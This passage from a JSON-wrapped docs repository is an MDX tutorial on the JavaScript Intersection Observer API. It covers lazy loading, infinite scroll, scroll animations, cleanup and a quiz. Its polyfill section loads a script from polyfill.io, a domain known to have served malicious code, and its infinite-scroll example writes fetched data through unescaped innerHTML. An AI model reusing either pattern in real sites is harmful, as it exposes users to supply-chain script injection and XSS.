IndexedDB, and cookies. Helps you understand when to use each storage option.\n  </Card>\n  <Card title=\"Building Offline-First Apps — Google Chrome Developers\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cmGr0RszHc8\">\n    Conference talk on using IndexedDB with Service Workers for offline-capable PWAs. Essential context for understanding IndexedDB's primary use case.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/intersection-observer.mdx",
    "content": "---\ntitle: \"Intersection Observer in JavaScript\"\nsidebarTitle: \"Intersection Observer\"\ndescription: \"Learn the Intersection Observer API in JavaScript. Implement lazy loading, infinite scroll, and scroll animations without scroll events.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Observer APIs\"\n\"article:tag\": \"intersection observer api, lazy loading images, infinite scroll, scroll detection, viewport visibility\"\n---\n\nHow do you know when an element scrolls into view? How can you lazy-load images only when they're about to be seen? How do infinite-scroll feeds know when to load more content? And how can you trigger animations at just the right moment as users scroll through your page?\n\n```javascript\n// Lazy load images when they come into view\nconst observer = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      const img = entry.target;\n      img.src = img.dataset.src;\n      observer.unobserve(img);\n    }\n  });\n});\n\ndocument.querySelectorAll('img[data-src]').forEach(img => observer.observe(img));\n```\n\nThe **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or the viewport. It's the modern, performant solution for detecting element visibility, replacing expensive scroll event listeners with browser-optimized callbacks.\n\n<Info>\n**What you'll learn in this guide:**\n- What Intersection Observer is and why it's better than scroll events\n- How to create and configure observers with options\n- Understanding thresholds, root, and rootMargin\n- Implementing lazy loading for images and content\n- Building infinite scroll functionality\n- Creating scroll-triggered animations\n- Common mistakes and best practices\n</Info>\n\n---\n\n## What is Intersection Observer in JavaScript?\n\nThe **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** is a browser API that lets you detect when an element enters, exits, or crosses a certain visibility threshold within a viewport or container element. Instead of constantly checking element positions during scroll events, the browser efficiently notifies your code only when visibility actually changes. [Can I Use data](https://caniuse.com/intersectionobserver) shows the API is supported in over 97% of browsers globally. **In short: Intersection Observer tells you when elements become visible or hidden, without the performance cost of scroll listeners.**\n\n---\n\n## Why Not Just Use Scroll Events?\n\nBefore Intersection Observer, developers used scroll event listeners with `getBoundingClientRect()` to detect element visibility:\n\n```javascript\n// The OLD way: scroll events (DON'T do this!)\nwindow.addEventListener('scroll', () => {\n  const elements = document.querySelectorAll('.lazy-image');\n  elements.forEach(el => {\n    const rect = el.getBoundingClientRect();\n    if (rect.top < window.innerHeight && rect.bottom > 0) {\n      // Element is visible - load it\n      el.src = el.dataset.src;\n    }\n  });\n});\n```\n\n**Problems with this approach:**\n\n| Issue | Why It's Bad |\n|-------|--------------|\n| **Main thread blocking** | Scroll fires 60+ times per second, blocking other JavaScript |\n| **Layout thrashing** | `getBoundingClientRect()` forces browser to recalculate layout |\n| **Battery drain** | Constant calculations drain mobile device batteries |\n| **No throttling built-in** | You must manually debounce/throttle |\n| **iframe limitations** | Can't detect visibility in cross-origin iframes |\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│              SCROLL EVENTS vs INTERSECTION OBSERVER                          │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│  SCROLL EVENTS (Old Way)              INTERSECTION OBSERVER (Modern Way)    │\n│  ─────────────────────────            ─────────────────────────────────     │\n│                                                                              │\n│  User scrolls                         User scrolls                          │\n│       │                                    │                                │\n│       ▼                                    ▼                                │\n│  scroll event fires                   Browser calculates                    │\n│  (60+ times/sec)                      intersections internally              │\n│       │                                    │                                │\n│       ▼                                    ▼                                │\n│  YOUR CODE runs                       Callback fires ONLY when              │\n│  on EVERY scroll                      visibility ACTUALLY changes           │\n│       │                                    │                                │\n│       ▼                                    ▼                                │\n│  getBoundingClientRect()              Entry object with all                 │\n│  forces layout                        data pre-calculated                   │\n│       │                                    │                                │\n│       ▼                                    ▼                                │\n│  🐌 SLOW, janky scrolling             🚀 SMOOTH, 60fps scrolling           │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n**Intersection Observer runs off the main thread** and is optimized by the browser, making it dramatically more efficient. According to [web.dev](https://web.dev/articles/intersectionobserver-v2), Google introduced the API specifically to address the performance problems of scroll-based visibility detection, which was a leading cause of jank on content-heavy pages.\n\n---\n\n## How to Create an Intersection Observer\n\nCreating an observer involves two steps: instantiate the observer with a callback, then tell it what elements to observe.\n\n### Basic Syntax\n\n```javascript\n// Step 1: Create the observer with a callback\nconst observer = new IntersectionObserver((entries, observer) => {\n  entries.forEach(entry => {\n    console.log(entry.target, 'isIntersecting:', entry.isIntersecting);\n  });\n});\n\n// Step 2: Tell it what to observe\nconst element = document.querySelector('.my-element');\nobserver.observe(element);\n```\n\nThe **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver/IntersectionObserver)** constructor takes two arguments:\n\n1. **Callback function** — Called whenever observed elements cross visibility thresholds\n2. **Options object** (optional) — Configures when and how intersections are detected\n\n### The Callback Function\n\nThe callback receives two parameters:\n\n```javascript\nconst callback = (entries, observer) => {\n  // entries: Array of IntersectionObserverEntry objects\n  // observer: The IntersectionObserver instance (useful for unobserving)\n  \n  entries.forEach(entry => {\n    // entry.target — The observed element\n    // entry.isIntersecting — Is it currently visible?\n    // entry.intersectionRatio — How much is visible (0 to 1)\n    // entry.boundingClientRect — Element's size and position\n    // entry.intersectionRect — The visible portion's rectangle\n    // entry.rootBounds — The root element's rectangle\n    // entry.time — Timestamp when intersection was recorded\n  });\n};\n```\n\n<Note>\n**Important:** The callback fires once immediately when you call `observe()` on an element, reporting its current intersection state. This is intentional, so you know the initial visibility.\n</Note>\n\n### IntersectionObserverEntry Properties\n\nEach entry in the callback provides detailed intersection data:\n\n| Property | Type | Description |\n|----------|------|-------------|\n| `target` | Element | The element being observed |\n| `isIntersecting` | boolean | `true` if element is currently intersecting root |\n| `intersectionRatio` | number | Percentage visible (0.0 to 1.0) |\n| `boundingClientRect` | DOMRect | Target element's bounding rectangle |\n| `intersectionRect` | DOMRect | The visible portion's rectangle |\n| `rootBounds` | DOMRect | Root element's bounding rectangle (or viewport) |\n| `time` | number | Timestamp when intersection change was recorded |\n\n```javascript\nconst observer = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    console.log('Element:', entry.target.id);\n    console.log('Is visible:', entry.isIntersecting);\n    console.log('Visibility %:', Math.round(entry.intersectionRatio * 100) + '%');\n    console.log('Position:', entry.boundingClientRect.top, 'px from top');\n  });\n});\n```\n\n---\n\n## Intersection Observer Options\n\nThe options object customizes when the callback fires:\n\n```javascript\nconst options = {\n  root: null,           // The viewport (or a specific container element)\n  rootMargin: '0px',    // Margin around the root\n  threshold: 0          // When to trigger (0 = any pixel, 1 = fully visible)\n};\n\nconst observer = new IntersectionObserver(callback, options);\n```\n\n### The `root` Option\n\nThe **root** defines the container used for checking visibility. It defaults to `null` (the browser viewport).\n\n```javascript\n// Observe visibility relative to the viewport (default)\nconst observer1 = new IntersectionObserver(callback, { root: null });\n\n// Observe visibility relative to a scrollable container\nconst scrollContainer = document.querySelector('.scroll-container');\nconst observer2 = new IntersectionObserver(callback, { root: scrollContainer });\n```\n\n<Warning>\nWhen using a custom root, the observed elements **must be descendants** of that root element. Otherwise, the observer won't detect intersections.\n</Warning>\n\n### The `rootMargin` Option\n\nThe **rootMargin** grows or shrinks the root's detection area. It works like CSS margins:\n\n```javascript\n// Start detecting 100px BEFORE element enters viewport (for preloading)\nconst observer = new IntersectionObserver(callback, {\n  rootMargin: '100px 0px'  // top/bottom: 100px, left/right: 0px\n});\n\n// Shrink the detection area (element must be 50px inside viewport)\nconst observer2 = new IntersectionObserver(callback, {\n  rootMargin: '-50px'  // All sides shrink by 50px\n});\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                         rootMargin EXPLAINED                                 │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│  rootMargin: '100px 0px 100px 0px'                                          │\n│                                                                              │\n│            ┌──────────────────────┐                                          │\n│            │  +100px margin (top) │  ← Elements detected HERE               │\n│            ├──────────────────────┤                                          │\n│            │                      │                                          │\n│            │      VIEWPORT        │  ← Actual visible area                  │\n│            │                      │                                          │\n│            ├──────────────────────┤                                          │\n│            │ +100px margin (bottom)│  ← Elements detected HERE              │\n│            └──────────────────────┘                                          │\n│                                                                              │\n│  Use positive margins for PRELOADING (lazy load before visible)             │\n│  Use negative margins for DELAYING (wait until fully in view)               │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n**Common rootMargin patterns:**\n\n| Value | Use Case |\n|-------|----------|\n| `'100px'` | Preload images 100px before they enter viewport |\n| `'-50px'` | Wait until element is 50px inside viewport |\n| `'0px 0px -50%'` | Trigger when top half of element is visible |\n| `'200px 0px 200px 0px'` | Large buffer for slow networks |\n\n### The `threshold` Option\n\nThe **threshold** determines at what visibility percentage the callback fires. It can be a single number or an array:\n\n```javascript\n// Fire when ANY pixel becomes visible (default)\nconst observer1 = new IntersectionObserver(callback, { threshold: 0 });\n\n// Fire when element is 50% visible\nconst observer2 = new IntersectionObserver(callback, { threshold: 0.5 });\n\n// Fire when element is FULLY visible\nconst observer3 = new IntersectionObserver(callback, { threshold: 1.0 });\n\n// Fire at multiple points (0%, 25%, 50%, 75%, 100%)\nconst observer4 = new IntersectionObserver(callback, { \n  threshold: [0, 0.25, 0.5, 0.75, 1.0] \n});\n```\n\n```javascript\n// Practical example: Track how much of an ad is viewed\nconst adObserver = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    const percentVisible = Math.round(entry.intersectionRatio * 100);\n    console.log(`Ad is ${percentVisible}% visible`);\n    \n    if (entry.intersectionRatio >= 0.5) {\n      trackAdImpression(entry.target);  // Count as \"viewed\" when 50%+ visible\n    }\n  });\n}, { threshold: [0, 0.25, 0.5, 0.75, 1.0] });\n```\n\n---\n\n## Observer Methods\n\nThe **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)** instance has four methods:\n\n### observe(element)\n\nStart observing an element:\n\n```javascript\nconst element = document.querySelector('.target');\nobserver.observe(element);\n\n// Observe multiple elements\ndocument.querySelectorAll('.lazy-image').forEach(img => {\n  observer.observe(img);\n});\n```\n\n### unobserve(element)\n\nStop observing a specific element (useful after lazy loading):\n\n```javascript\nconst observer = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      loadImage(entry.target);\n      observer.unobserve(entry.target);  // Stop watching after loading\n    }\n  });\n});\n```\n\n### disconnect()\n\nStop observing ALL elements:\n\n```javascript\n// Stop everything\nobserver.disconnect();\n\n// Common pattern: cleanup when component unmounts\nclass LazyLoader {\n  constructor() {\n    this.observer = new IntersectionObserver(this.handleIntersect);\n  }\n  \n  destroy() {\n    this.observer.disconnect();\n  }\n}\n```\n\n### takeRecords()\n\nGet any pending intersection records without waiting for the callback:\n\n```javascript\n// Rarely needed, but useful for synchronous access\nconst pendingEntries = observer.takeRecords();\npendingEntries.forEach(entry => {\n  // Process immediately\n});\n```\n\n---\n\n## Implementing Lazy Loading Images\n\nLazy loading is the most common use case for Intersection Observer. Here's a complete implementation:\n\n### HTML Setup\n\n```html\n<!-- Use data-src instead of src for lazy images -->\n<img class=\"lazy\" data-src=\"hero-image.jpg\" alt=\"Hero image\">\n<img class=\"lazy\" data-src=\"product-1.jpg\" alt=\"Product 1\">\n<img class=\"lazy\" data-src=\"product-2.jpg\" alt=\"Product 2\">\n\n<!-- Optional: Add a placeholder or low-quality preview -->\n<img class=\"lazy\" \n     src=\"placeholder.svg\" \n     data-src=\"high-res-image.jpg\" \n     alt=\"High resolution image\">\n```\n\n### JavaScript Implementation\n\n```javascript\n// Create the lazy loading observer\nconst lazyImageObserver = new IntersectionObserver((entries, observer) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      const img = entry.target;\n      \n      // Swap data-src to src\n      img.src = img.dataset.src;\n      \n      // Optional: Handle srcset for responsive images\n      if (img.dataset.srcset) {\n        img.srcset = img.dataset.srcset;\n      }\n      \n      // Remove lazy class (for CSS transitions)\n      img.classList.remove('lazy');\n      img.classList.add('loaded');\n      \n      // Stop observing this image\n      observer.unobserve(img);\n    }\n  });\n}, {\n  // Start loading 100px before image enters viewport\n  rootMargin: '100px 0px',\n  threshold: 0\n});\n\n// Observe all lazy images\ndocument.querySelectorAll('img.lazy').forEach(img => {\n  lazyImageObserver.observe(img);\n});\n```\n\n### CSS for Smooth Loading\n\n```css\n.lazy {\n  opacity: 0;\n  transition: opacity 0.3s ease-in;\n}\n\n.lazy.loaded {\n  opacity: 1;\n}\n\n/* Optional: Blur-up effect */\n.lazy {\n  filter: blur(10px);\n  transition: filter 0.3s ease-in, opacity 0.3s ease-in;\n}\n\n.lazy.loaded {\n  filter: blur(0);\n  opacity: 1;\n}\n```\n\n<Tip>\n**Native lazy loading:** Modern browsers support `<img loading=\"lazy\">` which handles basic lazy loading automatically. Use Intersection Observer when you need more control (custom thresholds, animations, or loading indicators).\n</Tip>\n\n---\n\n## Building Infinite Scroll\n\nInfinite scroll loads more content as the user approaches the bottom of the page:\n\n```javascript\n// The sentinel element sits at the bottom of your content\n// <div id=\"sentinel\"></div>\n\nconst sentinel = document.querySelector('#sentinel');\nconst contentContainer = document.querySelector('#content');\n\nlet page = 1;\nlet isLoading = false;\n\nconst infiniteScrollObserver = new IntersectionObserver(async (entries) => {\n  const entry = entries[0];\n  \n  if (entry.isIntersecting && !isLoading) {\n    isLoading = true;\n    \n    try {\n      // Fetch more content\n      const response = await fetch(`/api/posts?page=${++page}`);\n      const posts = await response.json();\n      \n      if (posts.length === 0) {\n        // No more content - stop observing\n        infiniteScrollObserver.unobserve(sentinel);\n        sentinel.textContent = 'No more posts';\n        return;\n      }\n      \n      // Append new content\n      posts.forEach(post => {\n        const article = createPostElement(post);\n        contentContainer.appendChild(article);\n      });\n    } catch (error) {\n      console.error('Failed to load more posts:', error);\n    } finally {\n      isLoading = false;\n    }\n  }\n}, {\n  // Load more when sentinel is 200px from viewport\n  rootMargin: '200px'\n});\n\ninfiniteScrollObserver.observe(sentinel);\n\nfunction createPostElement(post) {\n  const article = document.createElement('article');\n  article.innerHTML = `\n    <h2>${post.title}</h2>\n    <p>${post.excerpt}</p>\n  `;\n  return article;\n}\n```\n\n### Infinite Scroll HTML Structure\n\n```html\n<div id=\"content\">\n  <!-- Initial posts loaded here -->\n  <article>...</article>\n  <article>...</article>\n</div>\n\n<!-- Sentinel must be AFTER all content -->\n<div id=\"sentinel\">Loading more...</div>\n```\n\n---\n\n## Scroll-Triggered Animations\n\nTrigger animations when elements scroll into view:\n\n```javascript\nconst animatedElements = document.querySelectorAll('.animate-on-scroll');\n\nconst animationObserver = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      // Add animation class\n      entry.target.classList.add('animated');\n      \n      // Optional: Only animate once\n      animationObserver.unobserve(entry.target);\n    }\n  });\n}, {\n  threshold: 0.2,  // Trigger when 20% visible\n  rootMargin: '0px 0px -50px 0px'  // Trigger slightly before fully in view\n});\n\nanimatedElements.forEach(el => animationObserver.observe(el));\n```\n\n### CSS Animations\n\n```css\n.animate-on-scroll {\n  opacity: 0;\n  transform: translateY(30px);\n  transition: opacity 0.6s ease-out, transform 0.6s ease-out;\n}\n\n.animate-on-scroll.animated {\n  opacity: 1;\n  transform: translateY(0);\n}\n\n/* Staggered animations */\n.animate-on-scroll:nth-child(1) { transition-delay: 0.1s; }\n.animate-on-scroll:nth-child(2) { transition-delay: 0.2s; }\n.animate-on-scroll:nth-child(3) { transition-delay: 0.3s; }\n```\n\n### Reusable Animation Observer\n\n```javascript\nfunction createScrollAnimator(options = {}) {\n  const {\n    threshold = 0.2,\n    rootMargin = '0px',\n    animateOnce = true,\n    animatedClass = 'animated'\n  } = options;\n  \n  return new IntersectionObserver((entries, observer) => {\n    entries.forEach(entry => {\n      if (entry.isIntersecting) {\n        entry.target.classList.add(animatedClass);\n        \n        if (animateOnce) {\n          observer.unobserve(entry.target);\n        }\n      } else if (!animateOnce) {\n        entry.target.classList.remove(animatedClass);\n      }\n    });\n  }, { threshold, rootMargin });\n}\n\n// Usage\nconst animator = createScrollAnimator({ threshold: 0.3, animateOnce: false });\ndocument.querySelectorAll('[data-animate]').forEach(el => animator.observe(el));\n```\n\n---\n\n## Sticky Header Detection\n\nDetect when a header becomes sticky:\n\n```javascript\n// CSS: header { position: sticky; top: 0; }\nconst header = document.querySelector('header');\n\n// Create a sentinel element just before the header\nconst sentinel = document.createElement('div');\nsentinel.style.height = '1px';\nheader.before(sentinel);\n\nconst stickyObserver = new IntersectionObserver(([entry]) => {\n  // When sentinel is NOT intersecting, header is stuck\n  header.classList.toggle('is-stuck', !entry.isIntersecting);\n}, {\n  threshold: 0,\n  rootMargin: '-1px 0px 0px 0px'  // Trigger right at the top\n});\n\nstickyObserver.observe(sentinel);\n```\n\n```css\nheader {\n  position: sticky;\n  top: 0;\n  background: white;\n  transition: box-shadow 0.3s ease;\n}\n\nheader.is-stuck {\n  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);\n}\n```\n\n---\n\n## Section-Based Navigation\n\nHighlight navigation links based on which section is visible:\n\n```javascript\nconst sections = document.querySelectorAll('section[id]');\nconst navLinks = document.querySelectorAll('nav a');\n\nconst sectionObserver = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      // Remove active from all links\n      navLinks.forEach(link => link.classList.remove('active'));\n      \n      // Add active to corresponding link\n      const activeLink = document.querySelector(`nav a[href=\"#${entry.target.id}\"]`);\n      if (activeLink) {\n        activeLink.classList.add('active');\n      }\n    }\n  });\n}, {\n  threshold: 0.5,  // Section is \"active\" when 50% visible\n  rootMargin: '-20% 0px -20% 0px'  // Focus on center of viewport\n});\n\nsections.forEach(section => sectionObserver.observe(section));\n```\n\n---\n\n## The #1 Intersection Observer Mistake: Not Cleaning Up\n\nThe most common mistake is forgetting to disconnect observers, leading to memory leaks:\n\n```javascript\n// ❌ BAD: Observer keeps running forever\nfunction setupLazyLoading() {\n  const observer = new IntersectionObserver((entries) => {\n    entries.forEach(entry => {\n      if (entry.isIntersecting) {\n        entry.target.src = entry.target.dataset.src;\n        // Forgot to unobserve!\n      }\n    });\n  });\n  \n  document.querySelectorAll('.lazy').forEach(img => observer.observe(img));\n}\n\n// ✅ GOOD: Unobserve after loading\nfunction setupLazyLoading() {\n  const observer = new IntersectionObserver((entries, obs) => {\n    entries.forEach(entry => {\n      if (entry.isIntersecting) {\n        entry.target.src = entry.target.dataset.src;\n        obs.unobserve(entry.target);  // Stop watching after load\n      }\n    });\n  });\n  \n  document.querySelectorAll('.lazy').forEach(img => observer.observe(img));\n  \n  // Return cleanup function for frameworks\n  return () => observer.disconnect();\n}\n```\n\n### Framework Cleanup Patterns\n\n```javascript\n// React\nuseEffect(() => {\n  const observer = new IntersectionObserver(callback);\n  observer.observe(elementRef.current);\n  \n  return () => observer.disconnect();  // Cleanup on unmount\n}, []);\n\n// Vue 3 Composition API\nonMounted(() => {\n  observer = new IntersectionObserver(callback);\n  observer.observe(element.value);\n});\n\nonUnmounted(() => {\n  observer?.disconnect();\n});\n```\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Mistake 1: Using scroll events for visibility detection\">\n    ```javascript\n    // ❌ WRONG: Scroll events are expensive\n    window.addEventListener('scroll', () => {\n      const rect = element.getBoundingClientRect();\n      if (rect.top < window.innerHeight) {\n        loadContent();\n      }\n    });\n    \n    // ✅ RIGHT: Use Intersection Observer\n    const observer = new IntersectionObserver((entries) => {\n      if (entries[0].isIntersecting) {\n        loadContent();\n        observer.unobserve(entries[0].target);\n      }\n    });\n    observer.observe(element);\n    ```\n    \n    Scroll events fire constantly and block the main thread. Intersection Observer is optimized by the browser.\n  </Accordion>\n  \n  <Accordion title=\"Mistake 2: Creating multiple observers for the same options\">\n    ```javascript\n    // ❌ WRONG: Creating a new observer for each element\n    images.forEach(img => {\n      const observer = new IntersectionObserver(callback);\n      observer.observe(img);\n    });\n    \n    // ✅ RIGHT: One observer can watch many elements\n    const observer = new IntersectionObserver(callback);\n    images.forEach(img => observer.observe(img));\n    ```\n    \n    A single observer can efficiently track many elements with the same options.\n  </Accordion>\n  \n  <Accordion title=\"Mistake 3: Forgetting the callback fires immediately\">\n    ```javascript\n    // ❌ WRONG: Assuming callback only fires on scroll\n    const observer = new IntersectionObserver((entries) => {\n      entries.forEach(entry => {\n        // This fires IMMEDIATELY for current state!\n        loadImage(entry.target);\n      });\n    });\n    \n    // ✅ RIGHT: Check isIntersecting before acting\n    const observer = new IntersectionObserver((entries) => {\n      entries.forEach(entry => {\n        if (entry.isIntersecting) {\n          loadImage(entry.target);\n        }\n      });\n    });\n    ```\n    \n    The callback fires once immediately when you call `observe()` to report current state.\n  </Accordion>\n  \n  <Accordion title=\"Mistake 4: Using threshold: 1 without accounting for partial visibility\">\n    ```javascript\n    // ❌ WRONG: threshold: 1 may never trigger for tall elements\n    const observer = new IntersectionObserver(callback, {\n      threshold: 1.0  // Requires 100% visibility\n    });\n    \n    // If element is taller than viewport, it can NEVER be 100% visible!\n    \n    // ✅ RIGHT: Use appropriate threshold or check intersectionRatio\n    const observer = new IntersectionObserver((entries) => {\n      entries.forEach(entry => {\n        // Use intersectionRatio for flexible visibility checking\n        if (entry.intersectionRatio >= 0.8 || entry.isIntersecting) {\n          handleVisibility(entry.target);\n        }\n      });\n    }, { threshold: [0, 0.25, 0.5, 0.75, 1.0] });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 5: Not handling the root element requirement\">\n    ```javascript\n    // ❌ WRONG: Observed element must be a descendant of root\n    const container = document.querySelector('.sidebar');\n    const observer = new IntersectionObserver(callback, { root: container });\n    \n    // This element is NOT inside .sidebar - won't work!\n    observer.observe(document.querySelector('.main-content .item'));\n    \n    // ✅ RIGHT: Observe elements inside the root\n    observer.observe(container.querySelector('.sidebar-item'));\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Browser Support and Polyfill\n\nIntersection Observer has excellent browser support (available since March 2019 in all major browsers):\n\n```javascript\n// Feature detection\nif ('IntersectionObserver' in window) {\n  // Use Intersection Observer\n  const observer = new IntersectionObserver(callback);\n} else {\n  // Fallback for very old browsers\n  // Load polyfill or use scroll events\n}\n```\n\nFor legacy browser support, use the [official polyfill](https://github.com/w3c/IntersectionObserver/tree/main/polyfill):\n\n```html\n<script src=\"https://polyfill.io/v3/polyfill.min.js?features=IntersectionObserver\"></script>\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Intersection Observer replaces scroll events** — It's more performant and runs off the main thread\n\n2. **The callback fires immediately** — When you call `observe()`, it reports current visibility state\n\n3. **Use `isIntersecting` to check visibility** — Don't assume the callback means \"now visible\"\n\n4. **One observer, many elements** — A single observer can efficiently watch multiple targets\n\n5. **Clean up with `unobserve()` or `disconnect()`** — Prevent memory leaks, especially after lazy loading\n\n6. **`rootMargin` enables preloading** — Use positive margins to detect elements before they're visible\n\n7. **`threshold` controls precision** — Use arrays for fine-grained visibility tracking\n\n8. **Always handle the null root** — Defaults to viewport, but custom roots must contain observed elements\n\n9. **Combine with CSS for smooth animations** — Observer triggers classes, CSS handles transitions\n\n10. **Consider native `loading=\"lazy\"`** — For simple image lazy loading, the native attribute may suffice\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: Why is Intersection Observer better than scroll events for visibility detection?\">\n    **Answer:** Intersection Observer is better because:\n    \n    1. **Runs off the main thread** — Doesn't block JavaScript execution\n    2. **Browser-optimized** — Efficiently batches calculations\n    3. **No layout thrashing** — Doesn't force `getBoundingClientRect()` recalculations\n    4. **Built-in throttling** — Fires only when visibility actually changes\n    5. **Works with iframes** — Can detect visibility in cross-origin contexts\n    \n    Scroll events fire 60+ times per second and require manual throttling, while Intersection Observer only fires when relevant visibility changes occur.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does rootMargin: '-50px' do?\">\n    **Answer:** `rootMargin: '-50px'` shrinks the detection area by 50px on all sides.\n    \n    This means an element must be at least 50px inside the viewport before it's considered \"intersecting.\" It's useful for:\n    \n    - Triggering animations when elements are fully in view\n    - Ensuring content is clearly visible before acting\n    - Avoiding edge-case flickering near viewport boundaries\n    \n    ```javascript\n    // Element must be 50px inside viewport to trigger\n    const observer = new IntersectionObserver(callback, {\n      rootMargin: '-50px'\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: When would you use threshold: [0, 0.25, 0.5, 0.75, 1]?\">\n    **Answer:** Use multiple thresholds when you need to track progressive visibility, such as:\n    \n    - **Ad viewability tracking** — Count impressions at different visibility levels\n    - **Video playback** — Pause at 25% visible, play at 75% visible\n    - **Progress indicators** — Show how much of an article has been read\n    - **Parallax effects** — Adjust animations based on scroll position\n    \n    ```javascript\n    const observer = new IntersectionObserver((entries) => {\n      entries.forEach(entry => {\n        const percent = Math.round(entry.intersectionRatio * 100);\n        updateProgressBar(percent);\n      });\n    }, { threshold: [0, 0.25, 0.5, 0.75, 1] });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why should you call unobserve() after lazy loading an image?\">\n    **Answer:** You should call `unobserve()` because:\n    \n    1. **Memory efficiency** — The observer no longer needs to track this element\n    2. **Performance** — Fewer elements to check means faster intersection calculations\n    3. **Prevents double-loading** — Without unobserving, the image could be \"loaded\" multiple times\n    4. **Clean architecture** — Once lazy loading is complete, the observer's job is done\n    \n    ```javascript\n    const observer = new IntersectionObserver((entries, obs) => {\n      entries.forEach(entry => {\n        if (entry.isIntersecting) {\n          entry.target.src = entry.target.dataset.src;\n          obs.unobserve(entry.target);  // Clean up!\n        }\n      });\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What happens if you use a custom root that doesn't contain the observed element?\">\n    **Answer:** The observer **won't detect any intersections**. The observed element must be a descendant of the root element.\n    \n    ```javascript\n    const sidebar = document.querySelector('.sidebar');\n    const observer = new IntersectionObserver(callback, { root: sidebar });\n    \n    // ❌ This won't work - element is outside sidebar\n    observer.observe(document.querySelector('.main .card'));\n    \n    // ✅ This works - element is inside sidebar\n    observer.observe(sidebar.querySelector('.sidebar-item'));\n    ```\n    \n    Always ensure observed elements are descendants of the root, or use `root: null` for viewport detection.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is Intersection Observer used for in JavaScript?\">\n    Intersection Observer detects when elements enter or leave the viewport (or a container element). Common use cases include lazy loading images, infinite scroll, scroll-triggered animations, and ad viewability tracking. According to web.dev, it replaces expensive scroll event listeners with browser-optimized callbacks.\n  </Accordion>\n\n  <Accordion title=\"Is Intersection Observer better than scroll events?\">\n    Yes. Scroll events fire 60+ times per second and force layout recalculations via `getBoundingClientRect()`, causing jank and battery drain. Intersection Observer runs off the main thread, only fires when visibility actually changes, and is optimized by the browser. MDN recommends it as the modern replacement for scroll-based visibility detection.\n  </Accordion>\n\n  <Accordion title=\"What does rootMargin do in Intersection Observer?\">\n    `rootMargin` grows or shrinks the detection area around the root element, using CSS margin syntax. Positive values (e.g., `'100px'`) trigger callbacks before elements reach the viewport — ideal for preloading images. Negative values delay detection until elements are fully inside the viewport.\n  </Accordion>\n\n  <Accordion title=\"Why does the Intersection Observer callback fire immediately?\">\n    The callback fires once when you call `observe()` to report the element's current intersection state. This is intentional — as MDN documents, it lets you know the initial visibility without waiting for a scroll event. Always check `entry.isIntersecting` before acting.\n  </Accordion>\n\n  <Accordion title=\"How do I clean up an Intersection Observer?\">\n    Call `observer.unobserve(element)` to stop watching a specific element (ideal after lazy loading), or `observer.disconnect()` to stop all observation. In React, return a cleanup function from `useEffect` that calls `disconnect()`. Failing to clean up causes memory leaks.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Mutation Observer\" icon=\"eye\" href=\"/beyond/concepts/mutation-observer\">\n    Watch for DOM changes like added/removed elements and attribute modifications.\n  </Card>\n  <Card title=\"Resize Observer\" icon=\"expand\" href=\"/beyond/concepts/resize-observer\">\n    Detect when elements change size without polling or resize events.\n  </Card>\n  <Card title=\"Performance Observer\" icon=\"gauge\" href=\"/beyond/concepts/performance-observer\">\n    Monitor performance metrics like Long Tasks, layout shifts, and resource timing.\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-rotate\" href=\"/concepts/event-loop\">\n    Understand how JavaScript handles async operations and when callbacks fire.\n  </Card>\n</CardGroup>\n\n---\n\n## Resources\n\n### Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Intersection Observer API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API\">\n    Complete API documentation covering all options, methods, and the IntersectionObserverEntry interface. The authoritative reference for browser behavior and edge cases.\n  </Card>\n  <Card title=\"IntersectionObserver Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver\">\n    Detailed reference for the IntersectionObserver constructor, properties (root, rootMargin, thresholds), and methods (observe, unobserve, disconnect, takeRecords).\n  </Card>\n</CardGroup>\n\n### Articles\n\n<CardGroup cols={2}>\n  <Card title=\"A Few Functional Uses for Intersection Observer — CSS-Tricks\" 